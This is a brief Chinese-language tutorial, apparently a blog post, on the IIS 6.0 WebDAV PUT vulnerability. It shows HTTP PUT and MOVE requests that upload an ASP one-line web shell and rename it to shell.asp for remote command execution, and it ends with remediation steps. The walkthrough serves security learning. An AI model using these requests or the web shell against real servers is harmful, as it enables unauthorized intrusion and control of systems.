中间件漏洞篇 01 PUT漏洞
中间件
常见的中间件有
- iis
- apache
- tomacat
- Zookeeper
- nginx
- jboss
- Jetty
- Zookeeper
- weblogic
- websphere
- Glassfish
- ......
IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0
2.漏洞复现


用burpsuite 提交OPTIONS 查看支持的协议,可以将刚刚抓取下来的数据包的提交方式直接改为OPTIONS 提交

可以看到它支持的协议,其中是支持PUT协议的
我们就可以上传一个文本
1 PUT /test.txtHTTP/1.1 2 Host:upload.moonteam.com 3 Content-Length:25 4 5 <%evalrequest("cmd")%>
发送,回显201
表示插入成功了,因为是不可以直接上传asp的,所有要把刚刚上传上去的文件修改其后缀
使用下面的命令进行修改后缀为asp。
MOVE/test.txtHTTP/1.1 Host:upload.moonteam.com Destination:http://www.xxx.com/shell.asp
这里要有空格
回显201表示成功,shell.asp写入成功,使用工具可以直接getshell
3.漏洞修复
1.关闭webdav
2.关闭写入权限

浙公网安备 33010602011771号